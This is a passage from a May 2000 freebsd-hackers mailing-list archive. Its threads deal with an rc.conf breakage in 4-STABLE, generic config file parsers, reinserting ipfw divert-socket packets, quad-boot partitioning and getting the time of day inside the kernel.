DougB@gorean.org) Message-ID: <3931BE90.8D0F8B18@gorean.org> Date: Sun, 28 May 2000 17:49:20 -0700 From: Doug Barton Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.72 [en] (X11; U; FreeBSD 5.0-CURRENT-0528 i386) X-Accept-Language: en MIME-Version: 1.0 To: Paul Southworth Cc: asmodai@freebsd.org, hackers@freebsd.org Subject: Re: 4-STABLE - did you break /etc/defaults/rc.conf? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Paul Southworth wrote: > > Hi, > > It looks like the /etc/defaults/rc.conf thing I got from cvsup today is > broken - it never reads /etc/rc.conf at all now. I assume the trouble is > in the new source_rc_confs() function in /etc/defaults/rc.conf. Are there any error messages in your boot scroll? Also, could you confirm that your /etc/defaults/rc.conf is version 1.53.2.5, and your /etc/rc is version 1.212.2.3? If not, please update your sources then run mergemaster (or mergemaster -v if it's your first time using it) so we can be sure that you're totally up to date. Doug -- "Live free or die" - State motto of my ancestral homeland, New Hampshire Do YOU Yahoo!? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 19:50:36 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from locust.etext.org (locust.etext.org [216.93.75.148]) by hub.freebsd.org (Postfix) with ESMTP id 600C537BB0D; Sun, 28 May 2000 19:50:27 -0700 (PDT) (envelope-from pauls@etext.org) Received: from localhost (pauls@localhost) by locust.etext.org (8.9.3/8.9.3) with ESMTP id WAA38450; Sun, 28 May 2000 22:50:20 -0400 (EDT) Date: Sun, 28 May 2000 22:50:20 -0400 (EDT) From: Paul Southworth To: Doug Barton Cc: asmodai@freebsd.org, hackers@freebsd.org Subject: Re: 4-STABLE - did you break /etc/defaults/rc.conf? In-Reply-To: <3931BE90.8D0F8B18@gorean.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 28 May 2000, Doug Barton wrote: : Are there any error messages in your boot scroll? No, it just comes up without having processed /etc/rc.conf - 'Amnesiac', only configuring the loopback, etc. : Also, could you :confirm that your /etc/defaults/rc.conf is version 1.53.2.5, and your :/etc/rc is version 1.212.2.3? Looks like I must have cvsuped between the check-in of the new rc.conf and the /etc/rc - my /etc/rc was 1.212.2.2 - they were checked in four hours apart, and I must have slipped in that gap. I will release again and see if that fixes it. : If not, please update your sources then :run mergemaster (or mergemaster -v if it's your first time using it) so :we can be sure that you're totally up to date. I did a 'make release' and then a clean install off the release, so mergemaster is irrelevant in that context, right? I thought mergemaster was only for upgrades. Thanks for your assistance. --Paul To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 20:11:49 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from relay.butya.kz (butya-gw.butya.kz [212.154.129.94]) by hub.freebsd.org (Postfix) with ESMTP id F225437BC2B for ; Sun, 28 May 2000 20:11:40 -0700 (PDT) (envelope-from bp@butya.kz) Received: from bp (helo=localhost) by relay.butya.kz with local-esmtp (Exim 3.13 #1) id 12wFxm-0005uX-00; Mon, 29 May 2000 10:11:34 +0700 Date: Mon, 29 May 2000 10:11:34 +0700 (ALMST) From: Boris Popov To: A G F Keahan Cc: freebsd-hackers@freebsd.org Subject: Re: Generic config file parser? In-Reply-To: <3931B325.BB166270@freenet.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 29 May 2000, A G F Keahan wrote: > This may be a silly question, but is there such a thing? Almost every > program that I know uses configuration files, often in different, > incompatible formats. I personally prefer Samba/Wine-style config > files which are split into "sections" like this: Yes, there is such thing. I've used this format for nwfs/smbfs configuration files. You may look at old version of this parser in src/lib/libncp/ncpl_rcfile.c or download smbfs sources (ftp://ftp.butya.kz/pub/smbfs/smbfs.tar.gz) and look in the lib/smb/rcfile.c for more generalized interface. I'm really want to make this thing generic and unite it with others config file parsers (if memory serves me right, Daniel Sobral wrote RW version for rc.conf style files). The only big problem is the name of the library file - last time it was discussed there was no consensus on this topic. -- Boris Popov http://www.butya.kz/~bp/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 20:13:35 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from filk.iinet.net.au (filk.iinet.net.au [203.59.24.235]) by hub.freebsd.org (Postfix) with ESMTP id 73E3F37B9FF for ; Sun, 28 May 2000 20:13:27 -0700 (PDT) (envelope-from julian@elischer.org) Received: from jules.elischer.org (reggae-11-110.nv.iinet.net.au [203.59.69.110]) by filk.iinet.net.au (8.8.7/8.8.7) with SMTP id LAA30048; Mon, 29 May 2000 11:14:16 +0800 Message-ID: <3931DFA5.2781E494@elischer.org> Date: Sun, 28 May 2000 20:10:29 -0700 From: Julian Elischer X-Mailer: Mozilla 3.04Gold (X11; I; FreeBSD 5.0-CURRENT i386) MIME-Version: 1.0 To: Dave Preece Cc: freebsd-hackers@freebsd.org Subject: Re: Re-inserting packets into firewall. References: <67B808B0DD93D211ABEE0000B498356B2B4E92@internet.kbgroup.co.nz> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dave Preece wrote: > > I'm having a go at writing a 'component' in the firewall chain. The > component may, or may not, readdress the packet and therefore > I need to drop > it back into the chain at the next rule. this is how ipdivert should work.. If you reinsert the packet and use the same sockaddr that you received, it should insert the packet at the first rule number GREATER THAN the rule that diverted it. The rule number of diversion is stored in the 'port' field of the sockaddr. > > Should be simple. > > So I've written some test code just to scoop up packets and drop them back > in unaltered using sendto. Doesn't seem to work though, it scoops up the > packets fine, and upon resending them they aren't being passed to the next > rule. Also so tried with net.inet.ip.fw.one_pass as both 1 and 0, with > little difference. no idea about pass1 etc. it's added since I last looked at it, > > Any ideas? I have loads of FM's to R, but can't seem to get much divert > socket specific stuff - pointers would be appreciated. Hmm, shall hit the > books and ip_fw.c some more. man 4 divert from memory.. also look at the natd program > > Thanks, > Dave > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message -- __--_|\ Julian Elischer / \ julian@elischer.org ( OZ ) World tour 2000 ---> X_.---._/ presently in: Perth v To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 20:39:43 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from cvsftp.cotw.com (cvsftp.cotw.com [208.242.241.39]) by hub.freebsd.org (Postfix) with ESMTP id 322A637BB30 for ; Sun, 28 May 2000 20:39:38 -0700 (PDT) (envelope-from sjhill@cotw.com) Received: from cotw.com (dsl19.cedar-rapids.net [208.242.241.211]) by cvsftp.cotw.com (8.9.3/8.9.3) with ESMTP id WAA14911 for ; Sun, 28 May 2000 22:39:41 -0500 Message-ID: <3931E60F.A97F7B70@cotw.com> Date: Sun, 28 May 2000 22:37:51 -0500 From: Steve Hill X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.3.47 i686) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers@FreeBSD.ORG Subject: Creating a system to boot 4 different OS types. Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greetings. Well, I am getting ready to attempt a quad-boot system. I wish to boot one of the following configurations: First CONFIG: - WinNT - FreeBSD - Linux - NetBSD Second CONFIG: - WinNT - FreeBSD - Linux - OpenBSD I am still oscillating between OpenBSD/NetBSD, anyway....I am currently dual booting WinNT and Linux. I found documentation to put Linux and FreeBSD together. The two or three main issues for me are: 1) Choosing the right bootloader. I believe the WinNT OS loader would work, but I am not completely sure about LILO for booting the above 4 OSes. 2) Since I cannot place a *BSD slice in an extended partition, it appears I will have to do something like (sorry for using Linux device naming scheme): /dev/hda1 WinNT /dev/hda2 Linux /dev/hda3 BSD/386 (FreeBSD) /dev/hda4 BSD/386 (OpenBSD or NetBSD) I think this should work. The only thing is that one of the BSD slices will need to share its swap space with Linux, which is not a problem. 3) I guess the stuff in (2) should work. Another question would be if the swap partition in one of the BSD slices can be shared with the another BSD variant (i.e. swap space in FreeBSD slice '/dev/hda3' can be used by NetBSD or OpenBSD slice '/dev/hda4')? I searched, I read but did not find all of the information. I am holding off posting to the other two BSD lists until I hear (hopefully) something back from this list. TIA. -Steve -- Steven J. Hill - Embedded SW Engineer Public Key: 'finger sjhill@mail.cotw.com' FPR1: E124 6E1C AF8E 7802 A815 FPR2: 7D72 829C 3386 4C4A E17D To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 20:51: 2 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from dt051n0b.san.rr.com (dt051n0b.san.rr.com [204.210.32.11]) by hub.freebsd.org (Postfix) with ESMTP id AE8A937BB63; Sun, 28 May 2000 20:50:53 -0700 (PDT) (envelope-from Doug@gorean.org) Received: from gorean.org (master [10.0.0.2]) by dt051n0b.san.rr.com (8.9.3/8.9.3) with ESMTP id UAA02571; Sun, 28 May 2000 20:50:46 -0700 (PDT) (envelope-from Doug@gorean.org) Message-ID: <3931E915.CEA717D9@gorean.org> Date: Sun, 28 May 2000 20:50:45 -0700 From: Doug Barton Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.73 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Paul Southworth Cc: asmodai@freebsd.org, hackers@freebsd.org Subject: Re: 4-STABLE - did you break /etc/defaults/rc.conf? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Paul Southworth wrote: > Looks like I must have cvsuped between the check-in of the new rc.conf and > the /etc/rc - my /etc/rc was 1.212.2.2 - they were checked in four hours > apart, and I must have slipped in that gap. I will release again and see > if that fixes it. Ok, phew. :) I am 99% sure that's the problem. Please let us know either way. > : If not, please update your sources then > :run mergemaster (or mergemaster -v if it's your first time using it) so > :we can be sure that you're totally up to date. > > I did a 'make release' and then a clean install off the release, so > mergemaster is irrelevant in that context, right? I thought mergemaster > was only for upgrades. Yes... I figured it would be easier to just update /etc, before building your new release, but whatever works for you. :) Doug To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 21:17:27 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.rdc1.nj.home.com (ha1.rdc1.nj.home.com [24.3.128.66]) by hub.freebsd.org (Postfix) with ESMTP id 8BC3B37B77A for ; Sun, 28 May 2000 21:17:23 -0700 (PDT) (envelope-from garycor@home.com) Received: from home.com ([24.3.185.85]) by mail.rdc1.nj.home.com (InterMail vM.4.01.02.00 201-229-116) with ESMTP id <20000529041722.RSZC21108.mail.rdc1.nj.home.com@home.com>; Sun, 28 May 2000 21:17:22 -0700 Message-ID: <3931EFB2.472EDDCC@home.com> Date: Mon, 29 May 2000 00:18:58 -0400 From: "Gary T. Corcoran" X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Steve Hill Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Creating a system to boot 4 different OS types. References: <3931E60F.A97F7B70@cotw.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Steve Hill wrote: > > Well, I am getting ready to attempt a quad-boot system. I wish to boot > one of the following configurations: > > First CONFIG: > - WinNT > - FreeBSD > - Linux > - NetBSD > > Second CONFIG: > - WinNT > - FreeBSD > - Linux > - OpenBSD > > The two or three main issues for me are: > > 1) Choosing the right bootloader. I believe the WinNT OS loader would work, > but I am not completely sure about LILO for booting the above 4 OSes. LILO should work for you. At work I have it triple (quad) booting Win98/Win2000, Linux, FreeBSD. You may want to choose LILO as it may be the only one to work with Linux in this configuration - see below. > 2) Since I cannot place a *BSD slice in an extended partition, it appears > I will have to do something like (sorry for using Linux device naming > scheme): > > /dev/hda1 WinNT > /dev/hda2 Linux > /dev/hda3 BSD/386 (FreeBSD) > /dev/hda4 BSD/386 (OpenBSD or NetBSD) > > I think this should work. The only thing is that one of the BSD slices > will need to share its swap space with Linux, which is not a problem. The easiest thing to do is have Linux use up only one of the four DOS partitions, as you have listed above. Unfortunately, it wants to use up a whole partition for swap. The way around that is to use a DOS "extended" partition into which you put both the main Linux filesystem partition, and a swap partition, each taking up the equivalent of a "logical drive" in DOS terms, e.g. /dev/hda5 and /dev/hda6. (FreeBSD, of course, only takes up one DOS partition, which you can subdivide into filesystem(s) and swap) BUT - the only bootloader I know of that will let you boot an OS from a DOS extended partition is LILO - that's why it may be what you want to use. So you'll probably want to install Linux last, so that the only choice is using up the only remaining partition, instead of having it grab two. You might have to create the DOS extended partition using windows tools... And don't forget that you'll have to have *all* boot partitions below the "8 GB" limit. Your (last) filesystem can extend beyond 8GB, but you have to ensure that the boot files for it are below 8 gig, due to the 1024 cylinder BIOS boot limitation... > 3) I guess the stuff in (2) should work. Another question would be if the > swap partition in one of the BSD slices can be shared with the another > BSD variant (i.e. swap space in FreeBSD slice '/dev/hda3' can be used by > NetBSD or OpenBSD slice '/dev/hda4')? Don't know about this - you probably can - but unless you're short on disk space, there's no need to do it. As I said above, you partition up your slice (DOS partition) into filesystems plus swap in a single DOS partition. Gary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 21:31:59 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from kbgroup.co.nz (gateway.kbgroup.co.nz [203.96.151.81]) by hub.freebsd.org (Postfix) with ESMTP id 6E71437BBA2 for ; Sun, 28 May 2000 21:31:40 -0700 (PDT) (envelope-from dave.preece@kbgroup.co.nz) Received: from kb_exchange.kbgroup.co.nz ([202.202.203.10]) by gateway.kbgroup.co.nz with ESMTP id <115203>; Mon, 29 May 2000 16:46:44 +1200 Received: by internet.kbgroup.co.nz with Internet Mail Service (5.5.2650.21) id ; Mon, 29 May 2000 16:40:22 +1200 Message-ID: <67B808B0DD93D211ABEE0000B498356B2B4E95@internet.kbgroup.co.nz> From: Dave Preece To: Julian Elischer Cc: freebsd-hackers@freebsd.org Subject: RE: Re-inserting packets into firewall. MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Date: Mon, 29 May 2000 16:46:44 +1200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Julian, Many thanks! > If you reinsert the packet and use the same sockaddr that > you received, > it should insert the packet at the first rule number GREATER THAN the > rule that diverted it. The rule number of diversion is stored in > the 'port' field of the sockaddr. Loud clang noise as penny drops! I has been looking for this in the received IP packet, a eureka moment later and I realised what the sockaddr* in recvfrom is for. > man 4 divert from memory.. I should learn to apropos, eh? Too much time with NT, I'm afraid. Still, I am learning. > also look at the natd program Have been, it's been a huge help. Thanks again, Dave :) > __--_|\ Julian Elischer > / \ julian@elischer.org > ( OZ ) World tour 2000 > ---> X_.---._/ presently in: Perth > v Presently in: Wellington NZ. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 22:11: 1 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from cell2000.net (ncc1701d.cell2000.net [216.200.45.5]) by hub.freebsd.org (Postfix) with ESMTP id 6E69037BA51 for ; Sun, 28 May 2000 22:10:50 -0700 (PDT) (envelope-from steve@cell2000.net) Received: from localhost [216.200.45.147] by cell2000.net (SMTPD32-5.05) id AB0542D0024A; Sun, 28 May 2000 22:07:17 -0700 Message-ID: <000e01bfc92c$8cc26f80$0100007f@localhost.cell2000.net> Reply-To: "Steven Alexander" From: "Steven Alexander" To: "Steve Hill" Cc: Subject: Re: Creating a system to boot 4 different OS types. Date: Sun, 28 May 2000 22:12:54 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've had problems getting Windows NT to boot using bootloaders from other OSes. I'd suggest installing NT last and putting it on the first partition. If it doesn't pick up any of the other OSes you can add them in easily using BootPart (http://www.winimage.com/bootpart.htm). It's a free utility to add others OSes to the NT boot menu. I'm running a Dual-Boot Windows NT and FreeBSD machine. I installed FreeBSD after Windows NT to replace a linux install and BootPart did the trick. -steven alexander -----Original Message----- From: Gary T. Corcoran To: Steve Hill Cc: freebsd-hackers@FreeBSD.ORG Date: Sunday, May 28, 2000 9:14 PM Subject: Re: Creating a system to boot 4 different OS types. > >Steve Hill wrote: >> >> Well, I am getting ready to attempt a quad-boot system. I wish to boot >> one of the following configurations: >> >> First CONFIG: >> - WinNT >> - FreeBSD >> - Linux >> - NetBSD >> >> Second CONFIG: >> - WinNT >> - FreeBSD >> - Linux >> - OpenBSD >> >> The two or three main issues for me are: >> >> 1) Choosing the right bootloader. I believe the WinNT OS loader would work, >> but I am not completely sure about LILO for booting the above 4 OSes. > >LILO should work for you. At work I have it triple (quad) booting >Win98/Win2000, Linux, FreeBSD. You may want to choose LILO as it >may be the only one to work with Linux in this configuration - see below. > >> 2) Since I cannot place a *BSD slice in an extended partition, it appears >> I will have to do something like (sorry for using Linux device naming >> scheme): >> >> /dev/hda1 WinNT >> /dev/hda2 Linux >> /dev/hda3 BSD/386 (FreeBSD) >> /dev/hda4 BSD/386 (OpenBSD or NetBSD) >> >> I think this should work. The only thing is that one of the BSD slices >> will need to share its swap space with Linux, which is not a problem. > >The easiest thing to do is have Linux use up only one of the four DOS >partitions, as you have listed above. Unfortunately, it wants to use >up a whole partition for swap. The way around that is to use a DOS >"extended" partition into which you put both the main Linux filesystem >partition, and a swap partition, each taking up the equivalent of a >"logical drive" in DOS terms, e.g. /dev/hda5 and /dev/hda6. (FreeBSD, >of course, only takes up one DOS partition, which you can subdivide into >filesystem(s) and swap) > >BUT - the only bootloader I know of that will let you boot an OS from >a DOS extended partition is LILO - that's why it may be what you want to use. >So you'll probably want to install Linux last, so that the only choice >is using up the only remaining partition, instead of having it grab two. >You might have to create the DOS extended partition using windows tools... > >And don't forget that you'll have to have *all* boot partitions below >the "8 GB" limit. Your (last) filesystem can extend beyond 8GB, but >you have to ensure that the boot files for it are below 8 gig, due to >the 1024 cylinder BIOS boot limitation... > >> 3) I guess the stuff in (2) should work. Another question would be if the >> swap partition in one of the BSD slices can be shared with the another >> BSD variant (i.e. swap space in FreeBSD slice '/dev/hda3' can be used by >> NetBSD or OpenBSD slice '/dev/hda4')? > >Don't know about this - you probably can - but unless you're short on disk >space, there's no need to do it. As I said above, you partition up your >slice (DOS partition) into filesystems plus swap in a single DOS partition. > >Gary > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 22:26:21 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from lucifer.bart.nl (lucifer.bart.nl [194.158.168.74]) by hub.freebsd.org (Postfix) with ESMTP id 74F5337BB89 for ; Sun, 28 May 2000 22:26:16 -0700 (PDT) (envelope-from asmodai@lucifer.bart.nl) Received: (from asmodai@localhost) by lucifer.bart.nl (8.9.3/8.9.3) id HAA57088; Mon, 29 May 2000 07:26:10 +0200 (CEST) (envelope-from asmodai) Date: Mon, 29 May 2000 07:26:10 +0200 From: Jeroen Ruigrok van der Werven To: Paul Southworth Cc: Doug Barton , hackers@freebsd.org Subject: Re: 4-STABLE - did you break /etc/defaults/rc.conf? Message-ID: <20000529072610.A57066@lucifer.bart.nl> References: <3931BE90.8D0F8B18@gorean.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from pauls@etext.org on Sun, May 28, 2000 at 10:50:20PM -0400 Organisation: VIA Net.Works The Netherlands Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -On [20000529 04:52], Paul Southworth (pauls@etext.org) wrote: >On Sun, 28 May 2000, Doug Barton wrote: > >: Also, could you >:confirm that your /etc/defaults/rc.conf is version 1.53.2.5, and your >:/etc/rc is version 1.212.2.3? > >Looks like I must have cvsuped between the check-in of the new rc.conf and >the /etc/rc - my /etc/rc was 1.212.2.2 - they were checked in four hours >apart, and I must have slipped in that gap. I will release again and see >if that fixes it. Yeah, apologies. It wasn't my intention to leave such a gap in -STABLE, I hate it myself when that happens. But dinner and libreadline interfered. Again, sorry for any inconvenience, -- Jeroen Ruigrok van der Werven Network- and systemadministrator VIA Net.Works The Netherlands BSD: Technical excellence at its best http://www.via-net-works.nl Silence must be heard, noise must be observed... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun May 28 23:51:13 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from obie.softweyr.com (obie.softweyr.com [204.68.178.33]) by hub.freebsd.org (Postfix) with ESMTP id EF77C37B871 for ; Sun, 28 May 2000 23:51:07 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from softweyr.com (Foolstrustident!@homer.softweyr.com [204.68.178.39]) by obie.softweyr.com (8.8.8/8.8.8) with ESMTP id AAA16399; Mon, 29 May 2000 00:50:46 -0600 (MDT) (envelope-from wes@softweyr.com) Message-ID: <39321407.40926B57@softweyr.com> Date: Mon, 29 May 2000 00:53:59 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 4.0-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: Boris Popov Cc: A G F Keahan , freebsd-hackers@FreeBSD.ORG Subject: Re: Generic config file parser? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Boris Popov wrote: > > On Mon, 29 May 2000, A G F Keahan wrote: > > > This may be a silly question, but is there such a thing? Almost every > > program that I know uses configuration files, often in different, > > incompatible formats. I personally prefer Samba/Wine-style config > > files which are split into "sections" like this: > > Yes, there is such thing. I've used this format for nwfs/smbfs > configuration files. You may look at old version of this parser in > src/lib/libncp/ncpl_rcfile.c or download smbfs sources > (ftp://ftp.butya.kz/pub/smbfs/smbfs.tar.gz) and look in the > lib/smb/rcfile.c for more generalized interface. > > I'm really want to make this thing generic and unite it with > others config file parsers (if memory serves me right, Daniel Sobral wrote > RW version for rc.conf style files). Not needed, there is such a parser library included in OpenSSL, which is included in FreeBSD by default as of 4.0. The documenation is non-existent, but I suspect it will show up sooner than yet another development effort would produce. See /usr/src/crypto/openssl/crypto/conf for more info: UTSL. A better choice might be found in XML. Exploring the port of libxml (in ports/textproc) might be enlightening. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 0:10:23 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id 4868937BBF4 for ; Mon, 29 May 2000 00:10:17 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.9.3/8.9.3) with ESMTP id DAA169780; Mon, 29 May 2000 03:10:07 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <20000528175415.Z337@beastie.localdomain> References: <3931B325.BB166270@freenet.co.uk> <20000528175415.Z337@beastie.localdomain> Date: Mon, 29 May 2000 03:10:11 -0400 To: boshea@ricochet.net, A G F Keahan From: Garance A Drosihn Subject: Re: Generic config file parser? Cc: freebsd-hackers@FreeBSD.ORG Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 5:54 PM -0700 5/28/00, Brian O'Shea wrote: >You are right, this could be done, but I wouldn't call it >trivial. I've always come to the conclusion that the interface >to something like this would have to be kind of complex in order >to keep it generic enough to be really useful. For instance, >there isn't one standard Unix config file format. Do you want >to build into it some of the different [commonly used] formats? >If so, who defines these formats? [...etc...] > >All of this is managable, it just seems like more trouble than >it's worth. (but if you write it, I'll probably use it! ;) For what it's worth, a long time ago and in a operating system far away, we had something called "command language parser". It was meant for parsing things more complicated than simple options on a standard unix command-line, but not complicated enough to pull out lex & yacc. As the sun was setting on that operating-system empire, it was rewritten in C, and then lost track of... I recently tracked down the author and picked up a more recent copy of the C version. There are licensing issues which were left in limbo, so I can't just give it out without checking with him. Still, it could have easily handled the kind of config file you're talking about. While you'll have to do some guessing as to what the following means, it's almost good enough to parse the example for: > [SECTIONNAME1] > wibble1 = blah > wibble2 = 35 > wibble3 = "a string that has more than one word" > ; this is a comment -- ignored > wibble4 = 4.567e9 // - - - - - - - start of example clparser code procedure myactions for all; terminal is 1 to 100 of "ABCDEFGHIJKLMNOPQRSTUVWXYZ_1234567890"; terminal is 1 to 15 of "1234567890"; terminal is 1 or more characters; terminal is 1 or more of " \t"; is "=" ; is @SaveInt ( "." ( @SaveDecInt ) ) @SaveFloat; goal is "[" @SaveTerm "]" @SetSection or "wibble1" @SaveTerm @SetW1 or "wibble2" @SaveInt @SetW2 or "wibble3" @SaveStr @SetW3 or ";" // Just ignore, do nothing... or "wibble4" @SaveFloat @SetW4; terminal is 1 or more excluding """"; is """" @InitStr ()... ; is @String_Seg_1 or """""" @String_Seg_2 // embedded double quote ; is """" or @Invalid_Qstring; // must at be end of line // - - - - - - - end of the example code Clparser has two pieces. The first you can think of as a compiler, which will read in the above source and spit out an include file and an "object" file (which is just a lot of tables). The second part is clplib, which is what you link your program to. The '//' starts a comment line (in clpgen). '@xxx' means call procedure 'myactions' (which was specified in the first line) with the semantic action named 'xxx', where the C-value for 'xxx' will be defined (enum'ed?) in the include library that clpgen will generate. You'd use the semantic action in a switch() statement. Something like 'SaveInt' would call a routine in clplib to pick up the character string ("terminal") just matched, and know how to turn that into an integer which it would save away somewhere for some other action to pick up. What I have there is cut & pasted from some examples, and I'm sure it's not quite right. is probably bogus, for instance. But the idea is that SaveInt would save the integer value, clparser then would match an optional decimal-point, followed by another optional integer (which 'myactions' would save into a different variable), and then 'SaveFloat' would pick up the two integer pieces and create a floating-point number to match. Clparser was very convenient for doing this kind of thing, and I do hope to dust it off and see about using it once again... --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 0:37:49 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sasi.com (sasi.com [164.164.56.2]) by hub.freebsd.org (Postfix) with ESMTP id 7AEA037BBDC; Mon, 29 May 2000 00:37:42 -0700 (PDT) (envelope-from gbnaidu@sasi.com) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id NAA03010; Mon, 29 May 2000 13:05:41 +0530 (IST) Received: from pcd75.sasi.com ([10.0.16.75]) by sasi.com; Mon, 29 May 2000 13:05:41 +0000 (IST) Received: from localhost (gbnaidu@localhost) by pcd75.sasi.com (8.9.3/8.9.3) with ESMTP id NAA07137; Mon, 29 May 2000 13:04:46 +0530 Date: Mon, 29 May 2000 13:04:45 +0530 (IST) From: "G.B.Naidu" To: freebsd-net@FreeBSD.org Cc: freebsd-hackers@FreeBSD.org Subject: How do I time in kernel... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I would like to know how to get time of the day in side kernel. When I used gettimeofday() in side kernel, it was giving panic on 3.3 FreeBSD release. It didnt panic on 3.1-RELEASE. So what is the problem? Can I use gettimeofday() inside kernel? if so why 3.3 is panicking? Ifnot why 3.1 is not panicking? Next question is how can I achieve the equal functionality of gettimeofday() call in kernel? Is there anyway? One more question: Is it wrong to call system call from kernel files? Any help is appreciated. thanks --gb -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 0:58:25 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from relay.butya.kz (butya-gw.butya.kz [212.154.129.94]) by hub.freebsd.org (Postfix) with ESMTP id 7466D37BC5F for ; Mon, 29 May 2000 00:58:20 -0700 (PDT) (envelope-from bp@butya.kz) Received: from bp (helo=localhost) by 